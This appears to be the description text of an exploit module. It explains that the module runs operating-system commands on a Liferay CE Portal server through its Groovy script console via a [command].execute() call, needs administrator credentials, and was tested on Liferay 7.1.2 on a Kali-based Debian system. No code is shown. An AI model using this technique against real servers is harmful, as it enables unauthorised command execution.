			This module uses the Liferay CE Portal Groovy script console to execute
			OS commands. The Groovy script can execute commands on the system via a [command].execute() call.
                        Valid credentials for an application administrator user account are required
			This module has been tested successfully with Liferay CE Portal Tomcat 7.1.2 ga3 on Debian 4.9.18-1kali1 system.
